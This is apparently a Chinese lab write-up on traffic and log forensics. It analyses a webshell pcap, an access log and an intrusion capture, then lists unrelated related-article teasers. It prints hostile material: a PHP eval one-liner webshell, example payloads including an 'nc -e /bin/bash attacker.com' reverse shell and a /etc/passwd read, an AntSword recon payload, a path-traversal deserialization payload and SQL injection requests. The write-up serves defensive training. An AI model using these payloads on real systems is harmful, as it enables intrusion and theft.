百度云建站网站建设/谷歌账号
溯源与取证分析实验
溯源取证分析作为网络攻防过程中重要环节,准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息),对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或者软件日志等信息来挖掘或者推断相关线索。本实验通过网络流量、日志等溯源环境进行真实案例模仿,通过实战化分析来锻炼学生的取证溯源能力,从而加深大家对于网络攻防的实战化水平。在本实验结束时,学生应该能够具备对网络流量和日志的基本分析能力。
实验工具:
- Wireshark(版本≥3.0)
- VScode或者类似文本编辑器
Webshell数据包(webshell.zip)
背景介绍: webshell又称脚本木马,通过服务器开放的端口获取服务器的某些权限。
小张单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
A. 黑客在整个过程中做了哪些操作,请简单列举出来并截图说明。
B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来,并配图说明。
分析过程
1.用 wireshark 打开 hack.pcap
,可以看到有 HTTP 和 TCP 两种类型的流量。
2.在已知为 webshell 攻击后,我们在wireshark中搜索常用的命令,如 whoami, ls, pwd 等,来进行分析。首先在 wireshark 中设置成如下所示的样子。然后进行搜索。
3.首先搜索 login
,查看登录信息。发现登录的账号和密码。
- 账号:
test
- 密码:
Admin123!@#
4.然后搜索 whoami
,我们发现这个它跟参数 aaa
有关。并且此处对日志文件进行了修改。
5.我们继而对 aaa
进行搜索。发现 aaa
跟 ifconfig
,ipconfig
,pwd
等指令都有关,我充分怀疑这个参数 aaa
有问题,跟webshell有关。
6.我们仔细观察会发现在查询 aaa
时,有一个很可疑的值(即上面的最后一张图片),这里变量 aaa
中包含了一个命令,作用是通过 system() 函数执行一个 shell
命令,解码 Base64 编码的字符串并将其写入到服务器的 /var/www/html/1.php
文件中。这里有几个疑点:
- 为什么会去执行这样一个命令?
- 该命令中进行了Base64编码,怀疑是为了绕过审查
- 一般情况网站上不会去创建叫做
1.php
的文件 .php
文件为常见的webshell脚本
7.分析后,我们对这里的 Base64 编码进行解码分析,解码后如下所示。
<?php eval($_REQUEST[aaa^;?>
8.这段代码的作用是,通过 eval()
函数执行传递给 aaa
参数的 PHP 代码。也就是说,黑客可以在 URL 中传递一个恶意的 PHP 代码作为 aaa
参数,服务器就会执行这段代码。比如说,如果黑客知道 Webshell 的存在,他就可以通过下面所示的这些来实现恶意代码注入。而将一个php一句话木马写入了网站根目录下的1.php
文件中,可能是为了在服务器持久化存储该木马文件
# 执行系统命令
http://victim.com/shell.php?aaa^=system('cat /etc/passwd');# 上传恶意文件(如果 PHP 有文件上传功能)
http://victim.com/shell.php?aaa^=move_uploaded_file('evil.php', '/var/www/html/evil.php');# 获取反向Shell(这会在受害者的服务器上启动一个反向 shell,连接到攻击者的服务器。)
http://victim.com/shell.php?aaa^=exec('nc -e /bin/bash attacker.com 1234');
9.我们继续跟踪变量 aaa
。发现一个比较复杂的命令,形式上符合webshell工具——蚁剑的传输流量特征。这是一段PHP代码。
@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "bc"."0f2";echo @asenc($output);echo "f797e"."322e0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
10.该PHP代码段是一个典型的 Webshell,它用于收集并输出受害服务器的关键信息。通过隐藏错误、禁用时间限制、输出混淆等手段,攻击者意图在受害服务器上执行持久化操作。对其分析如下:
@ini_set("display_errors", "0");
@set_time_limit(0);
@ini_set("display_errors", "0")
:关闭错误显示,避免 PHP 错误信息泄露。@set_time_limit(0)
:禁用脚本执行时间限制,使脚本可以长时间运行,通常用于持续执行的恶意操作。
function asenc($out) { return $out; };
function asoutput() {$output = ob_get_contents();ob_end_clean();echo "bc" . "0f2";echo @asenc($output);echo "f797e" . "322e0";
}
asenc($out)
:这是一个空的加密/解密函数,实际上并没有对输出做任何处理,只是返回原样的数据。asoutput()
:该函数获取输出缓冲区的内容(ob_get_contents()
),清空缓冲区(ob_end_clean()
),然后输出一些字符串:bc0f2
和f797e322e0
可能是用来混淆输出的无意义字符串,增加分析难度。- 然后通过
@asenc($output)
输出原始缓冲区内容。这表明该代码的目标可能是输出一些信息或返回执行结果。
ob_start();
try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);$R = "{$D} ";if (substr($D, 0, 1) != "/") {foreach (range("C", "Z") as $L)if (is_dir("{$L}:")) $R .= "{$L}:";} else {$R .= "/";}$R .= " ";$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";$s = ($u) ? $u["name"] : @get_current_user();$R .= php_uname();$R .= " {$s}";echo $R;
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
ob_start()
:启动输出缓冲区,以便后续的输出可以捕获并进行处理(例如用于asoutput()
)。$D = dirname($_SERVER["SCRIPT_FILENAME"])
:获取当前脚本的目录路径。- 如果
$D
为空,则尝试使用$_SERVER["PATH_TRANSLATED"]
获取路径。 - 目录信息构建:
- 如果路径是 Windows 系统路径(不是以
/
开头),代码会尝试列出从 C: 到 Z: 的所有磁盘驱动器,并检查每个驱动器是否是目录。 - 如果是 Unix 系统,则
$R
的值会是/
。
- 如果路径是 Windows 系统路径(不是以
- 用户信息:
- 使用
posix_getegid()
和posix_geteuid()
获取当前用户的组名和用户名信息(如果存在posix
扩展)。 - 如果
posix
扩展不可用,则使用get_current_user()
获取当前 PHP 执行用户。
- 使用
php_uname()
:返回操作系统信息,如操作系统名称、版本、架构等。- 输出信息:
- 将目录信息、操作系统信息、当前用户名拼接并输出。目的是暴露受害主机的详细环境信息,包括操作系统类型、版本、当前用户等。
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
- 错误捕捉:如果在执行过程中出现异常,会输出错误信息。
asoutput();
die();
asoutput()
:调用该函数输出缓冲区的内容,并将之前收集到的输出进行处理,可能会显示一些数据或执行其他操作。die()
:脚本执行完毕后终止。
11.通过上面的分析,我们可以断定 1.php
是黑客的恶意程序。我们继续跟踪变量 aaa
。找到这个数据包,我们发现相较之前的数据包,其代码段中包含了一个变量 j68071301598f
,并且其值很像一个 Base64 编码后的代码。我们对其进行解码(从第三位开始)得到 frpc.ini
文件路径:
/var/www/html/frpc.ini
Frpc 为一款内网穿透工具 https://ababtools.com/?post=4421
12.对第二个 item
进行十六进行转 ASCII 的解码。结果如下所示。
# item 的内容
item = 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A
# 转码的结果
[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true
13.通过解码结果我们可以得到:
- 服务器IP:
192.168.239.123
- 服务器端口:
7778
- 使用 SOCKS5 插件
- SOCKS5 代理的用户名:
0HDFt16cLQJ
- SOCKS5 代理的密码:
JTN276Gp
至此我们已基本完成对这个流量的分析。
任务完成记录
A. 黑客在整个过程中做了哪些操作,请简单列举出来并截图说明。
登录系统:
修改日志文件:
写入webshell:
蚁剑通过webshell进行连接
上传代理工具客户端及代理工具回连客户端:
B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来。
见上面的分析过程
-
账号:
test
-
密码:
Admin123!@#
-
SOCKS5 的连接账号:
0HDFt16cLQJ
-
SOCKS5 的密码:
JTN276Gp
日志分析(日志分析.zip)
小明发现单位某应用程序被攻击后提取了对应的日志数据,请分析日志并进行作答:
A. 网络存在源码泄漏,源码文件名是什么?(请提交带有文件后缀的文件名,例如x.txt,并对流量分析进行截图)
B. 分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么?(请对流量分析进行截图)
C.分析攻击流量,黑客使用的是什么漏洞读取了秘密文件?
任务完成记录
A. 网络存在源码泄漏,源码文件名是什么?
在网络日志中,HTTP 状态码 200 通常表示请求成功,并且服务器已成功处理并返回了请求的资源。如果日志中有 HTTP 200 OK
状态码,并且请求涉及到某些源码文件(如 .php
, .jsp
, .py
, .html
等),这可能表明攻击者通过请求源码文件而获得了敏感信息。
所以我们在日志中搜索 200
,查看攻击者成功访问了什么文件。
这里访问了 index.php
, www.zip
, info.php
。
需要知道常见的网站备份文件后缀有 .zip
,.rar
,.7z
等,我们可以看到在成功访问 www.zip
后,接连访问了 www.rar
,www.7z
,虽然都是状态码为 404
表示访问失败。所以我们合理推测泄露的源码文件应该是 www.zip
。
B. 分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么?
在日志文件中查找 tmp
,发现黑客通过filename参数向/tmp目录传递了一个名叫 sess_car
的文件。
C.分析攻击流量,黑客使用的是什么漏洞读取了秘密文件?
对上面截图中的URL编码进行解码,我们可以看到是利用了 SplFileObject
的漏洞读取了秘密文件。
# 原始 URL编码
filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"# URL解码后
filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
SplFileObject带来的漏洞
SplFileObject 是 PHP 中一个用于文件处理的类,它为文件操作提供了更高级的功能,比如逐行读取文件内容、写入文件等。SplFileObject 本身并没有漏洞,但由于它的使用不当或不安全的反序列化,攻击者可能通过它来利用一些漏洞,特别是在 PHP 反序列化漏洞 中,SplFileObject 类通常会被滥用来进行恶意操作。
攻击“苹果”注入(ios.zip)
一位苹果安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:
A. 简述黑客的整个攻击过程,关键步骤请配图说明。
B. 黑客所控制的C&C服务器IP是什么?
C.被害者手机上被拿走了的私钥文件内容是什么?
任务完成记录
A. 简述黑客的整个攻击过程,关键步骤请配图说明。
1.首先查看日志文件 access.log
。因为木马文件常为 php
文件在日志文件中搜索 .php
,我们可以看到有一个文件 ma.php
被上传,并且红色框出的编码经base64解码后的结果为 whoami
,并且后面的操作都与这个文件相关。所以此处是一个webshell请求,并且这个文件是一个木马文件。
fxxk=system(base64_decode(%27d2hvYW1p%27))
2.接下来我们查看流量文件 triffic.pcap
。在使用Wireshark的跟踪流功能跟踪到第15个TCP流时,如下所示我们可以看到一个类似于 Linux 客户端的界面,先后执行了
ls
wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent
: 使用wget命令访问网站下载了GitHub的资源并赋予了可执行权限。下载的项目是一个内网穿透工具叫做 Stowaway。
2.我们进入 Stowaway 的 github 主页,看到他的参数介绍,如下所示。
admin:
参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址
--heartbeat 开启心跳包
agent:
参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP/WS
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址
3.我们参考这个说明,继续分析这个流量文件。我们发现攻击者运行ios_agent命令进行攻击。并且可以得到攻击者主机IP是 3.128.156.159
,加密密钥是hack4sec
。至此对于该TCP流已分析完毕。
4.我们继续对流量进行分析,我们想要访问HTTP流量时发现全部经过加密,无法正常阅读,这是因为当浏览器访问https站点时使用SSL/TLS协议,必须拥有服务器私钥,才能得到用于对称加密的密钥,然后真正解开加密的数据。这时我们使用提供的密钥文件 keylog.txt
进行解密。
TCP流解密方法 https://blog.csdn.net/for_mat_/article/details/118107321
5.解密后我们查看 HTTP 流量,发现其中有明显的关于 SQL 注入的特征字段,所以将该部分字段拿来进行URL解码。发现确实是在进行布尔注入。
# 解码得到HEADERS[93]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[93]
6.在渗透中通常要扫描端口,由于大多数端口关闭,主机会发出RST,我们只需在wireshark的专家模式中找到RST数据包的最大和最小端口即可确定端口扫描范围。端口扫描范围为 10-499
。
Wireshark 的专家模式的打开方式
至此对于黑客的攻击过程基本分析完毕。
B. 黑客所控制的C&C服务器IP是什么?
由前面的分析过程我们可知,C&C服务器IP : 3.128.156.159
C.被害者手机上被拿走了的私钥文件内容是什么?
将上面的所有SQL注入的每一位的最后一条请求的值连在一起,再使用hex解码就可以得到⼀个uuid值即为私钥文件的内容。
# 例如下面这个就取 3
43052 2021-08-28 14:10:57.001000 192.168.1.8 192.168.1.12 HTTP2 246 HEADERS[3]: GET /info?l=1&o=%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%222D%22_then_id_else_col1_end%29, WINDOW_UPDATE[3]# 全部拼在一起后
37343635386633206338343120343536642038356437206436633066656461626232# 通过HEX解码得到
746558f3-c841-456b-85d7-d6c0f2edabb2
拿到的私钥文件内容为:746558f3-c841-456b-85d7-d6c0f2edabb2
参考资料
[1] https://www.cnblogs.com/leo1017/p/17949472
[2] https://blog.csdn.net/qq_64389397/article/details/135440190
相关文章:

【攻防实验】溯源与取证分析实验
溯源与取证分析实验 溯源取证分析作为网络攻防过程中重要环节,准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息),对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或…...

THREE.js 入门(一)xyz坐标系
一、坐标系概念 在 three.js 中,相机的默认朝向是沿着 Z 轴的负方向。也就是说,默认情况下,相机会沿着 Z 轴的负方向“看”到场景中的对象,而 X 轴和 Y 轴分别对应水平方向和垂直方向。换句话说,相机的默认位置是 (0,…...

AUTOSAR CP中基于通信模块(COM)的Transformer-R24的规范导读
该文档是关于 AUTOSAR CP中基于通信模块(COM)的Transformer的规范说明,主要内容包括引言、相关文档、约束与假设、功能规范、API 规范、配置规范等,旨在为汽车电子系统开发中基于 COM 的Transformer提供全面的技术规范和指导。 一…...

ubuntu20.04安装anygrasp_sdk
ubuntu20.04安装anygrasp_sdk采坑记录 安装ME的教程看上一篇,现在来看anygrasp安装问题grasp_detection、grasp_trackinglicense申请demo文件的运行注意的地方到这以为大功告成了,然后出现了一个numpy版本不匹配问题最后还有一个问题就是修改demo.sh,不然没法可视化结果展示安…...

Spring完整知识点二
Spring注解开发 Spring是轻代码而重配置的框架,配置比较繁重,影响开发效率,所以注解开发是一种趋势,它能够代替xml配置文件,可以简化配置,提高开发效率Spring注解根据出现时间分类 Spring原始注解…...

GESP三级集训——课堂笔记(部分)
进制转换(二进制、十进制、八进制、十六进制等) 十进制(逢十进一)——Decimal 十进制是我们生活中最常见的进制,如“1”“23”“891”等: 进位过程如下:{1,2,3,4,5,6,7,8,9}{10,11,12,13,14,…...

Spring Boot接口返回统一格式
统一的标准数据格式好处 SpringBoot返回统一的标准数据格式主要有以下几点好处: 增强接口的可读性和可维护性,使得前端开发人员能够更加清晰地理解接口返回的数据结构,从而提高开发效率。 降低前后端耦合度,当后端需要修改返回数…...

Flink如何基于数据版本使用最新离线数据
业务场景 假设批量有一张商户表,表字段中有商户名称和商户分类两个字段。 批量需要将最新的商户名称和分类的映射关系推到hbase供实时使用。 原实现方案 a.原方案内容 为解决批量晚批问题,批量推送hbase表时一份数据产生两类rowkey:T-1和…...

软件开发中的常用性能指标
大家好!我是今越。在软件开发中我们经常会遇到一些性能指标,下面就带大家一起来看看。 QPS Queries Per Second,每秒查询率,一台服务器每秒能够响应的查询次数。它是对一个特定的查询服务器在规定时间内所处理流量多少的衡量标准…...

cmakelist使用总结
支持能编译成在不同系统上运行程序的方法 我们代码就一份,但有时需要编译成arm32,有时需要编译成x86_64,或更多 1、首先先将代码定义一个名称: #将所有的源文件列为一个集合,集合名字叫做SRC_LISTS set(SRC_LISTS main.cpp A.cpp…...

准备阶段 Unity优化总纲
Unity优化总纲 我们在学习优化课程之前要预先做好准备功能 例如最主要是的接收到一个优化的任务,应该怎么做,其次怎么做,最后怎么做。 也要学习一些专业工具以及专业术语 了解游戏运行机制,在排查期间思路会更清晰 1.优化目的…...

ubuntu防火墙(三)——firewalld使用与讲解
本文是Linux下,用ufw实现端口关闭、流量控制(二) firewalld使用方式 firewalld 是一个动态管理防火墙的工具,主要用于 Linux 系统(包括 Ubuntu 和 CentOS 等)。它提供了一个基于区域(zones)和服务&#x…...

zookeeper 搭建集群
基础的java 环境先安好,选择3台虚拟机 ip 不一样 机器应为奇数个 zookeeper 奇数个节点实际上是(2*n-1) 比偶数台机器少一台解决成本,并且能够满足 zookeeper 集群过半选举leader 的规则 # 3台虚拟机 将zookeeper 解压到服务器上 #在 conf/ 目录下 找到zoo_s…...

Java——异常机制(下)
1 异常处理之(捕获异常) (一般处理运行时异常) (try-catch-finally子句) (finally一般用于文件最后关闭) (catch捕获的子类在前父类在后——>不然父类在前面都让父类捕获掉了,会报错) (Exception是父类放在最后,如果前面没有捕获到,就…...

centos 手动安装libcurl4-openssl-dev库
下载源代码 curl downloadshttps://curl.se/download/ 选择需要下载的版本,我下载的是8.11.0 解压 tar -zxvf curl-8.11.0 查看安装命令 查找INSTALL.md,一般在docs文件夹下 –prefix :指定安装路径(默认安装在/usr/local&…...

JS学习(1)(基本概念与作用、与HTML、CSS区别)
目录 一、JavaScript是什么? (1)基本介绍 (2)简称:JS? 二、JavaScript的作用。 三、HTML、CSS、JS之间的关系。 (1)html、css。 (2)JavaScript。 …...

代码随想录算法训练营day50|动态规划12
不同的子序列 给定一个字符串 s 和一个字符串 t ,计算在 s 的子序列中 t 出现的个数。、 编辑距离中的删除元素,其实就是直接变数字,其只删除原来的较长的数组里的元素 递推模拟,使用s的最后一个元素匹配,或者删除…...

JavaWeb学习(2)(Cookie原理(超详细)、HTTP无状态)
目录 一、HTTP无状态。 (1)"记住我"? (2)HTTP无状态。 (3)信息存储客户端中。如何处理? 1、loaclStorage与sessionStorage。 2、Cookie。 二、Cookie。 (1&…...

java抽象类
目录 一.抽象类 1.什么是抽象类 2.抽象类特点 (1)抽象类不能直接实例化对象 (2)可以包含抽象方法和具体方法 (3)可以有构造方法 (4)抽象类必须被继承,并且继承后子类要重写父类中的抽象方法,否则子类也是抽象类,必须要使用 abstract 修…...

minio集群部署–linux环境
原文地址:minio集群部署–linux环境 – 无敌牛 欢迎参观我的个人博客:无敌牛 – 技术/著作/典籍/分享等 第一步:安装 有rpm、deb、和二进制文件安装方式。参考文档在:MinIO Object Storage for Linux — MinIO Object Storage …...

在vue3里使用scss实现简单的换肤功能
实现的换肤功能:主题色切换、亮色模式和暗黑模式切换、背景图切换 主题色就是网站主色,可以配置到组件库上面;亮色模式又分为两种风格:纯白风格和背景图风格,不需要背景图的话可以删掉这部分逻辑和相关定义;…...

JavaScript编写css自定义属性
一、自定义属性 是在 CSS 中定义的变量,以 --开头。它们可以存储颜色、尺寸、字体等任何 CSS 值,并且可以在整个文档中重复使用。 :root {--primary-color: #3498db;--font-size: 16px; }body {color: var(--primary-color);font-size: var(--font-siz…...

我们来学webservie - WSDL
WSDL 题记WSDL系列文章 题记 举个例子 酒桌上大领导们谈笑风生,把酒临风,其喜洋洋者矣老张说能签下xx项目,一来证明了集团在行业中的翘楚地位,二来感谢各位领导给予的大力支持接下来的一周,项目经理、业务顾问相继入场࿰…...

【Agent】构建智能诗歌创作系统:基于多 Agent 的协同创作实现
在探索大语言模型的创意应用过程中,我们开发了一个基于多 Agent 的智能诗歌创作系统。本文将介绍如何通过多个专业化的 Agent 协同工作,实现根据地点和天气信息自动创作诗歌的功能。 GitHub Code 项目地址 核心架构设计 1. Agent 基类设计 from pydan…...

001 LVGL PC端模拟搭建
01 LVGL模拟器介绍 使用PC端软件模拟LVGL运行,而不需要任何嵌入式硬件 环境搭建:codeblocks-20.03mingw-setup 正常安装流程即可 工程获取:LVGL官网-> github仓库 本地安装包下载资源包 工程模版和软件安装包 补充:…...

AJAX三、XHR,基本使用,查询参数,数据提交,promise的三种状态,封装-简易axios-获取省份列表 / 获取地区列表 / 注册用户,天气预报
一、XMLHttpRequest基本使用 XMLHttpRequest(XHR)对象用于与服务器交互。 二、XMLHttpRequest-查询参数 语法: 用 & 符号分隔的键/值对列表 三、XMLHttpRequest-数据提交 核心步骤 : 1. 请求头 设置 Content-Type 2. 请求体 携带 符合要求 的数…...

mybatis之数据统计与自定义异常处理
文章目录 需求描述定义实体方式一、mybatisPlus实现方式二、自定义SQL实现简单查询过滤查询 异常处理1、SQL拼写异常 在使用Mybatis或MybatisPlus进行数据统计,在【 SpringBoot的Mybatis-plus实战之基础知识】中对mybatisplus引入有介绍,本次要使用其进…...

qt creator使用taglib读取音频元信息,windows平台vcpkg安装
注意:qt creator用的构建组件是qt 6.2.3 MSVC2019 64bit 安装vcpkg // 我的安装位置C:\vcpkg git clone https://github.com/microsoft/vcpkg.git C:\vcpkg cd C:\vcpkg .\bootstrap-vcpkg.bat// 设置系统环境变量 VCPKG_ROOT C:/vcpkg用vcpkg安装taglib vcpkg …...

设计模式之生成器模式
目录 1.简介 2.结构 3.使用场景 4.实例 5.优缺点 6.与其他模式的关系 7.总结 1.简介 生成器模式(Builder Pattern)是一种创建型设计模式,它允许你通过一步一步构建复杂对象,而不是通过一个包含大量参数的构造函数或方法。该…...

python学opencv|读取图像(三)放大和缩小图像
【1】引言 前序已经学习了常规的图像读取操作和图像保存技巧,相关文章链接为: python学opencv|读取图像-CSDN博客 python学opencv|读取图像(二)保存彩色图像-CSDN博客 今天我们更近一步,学习放大和缩小图像的技巧&…...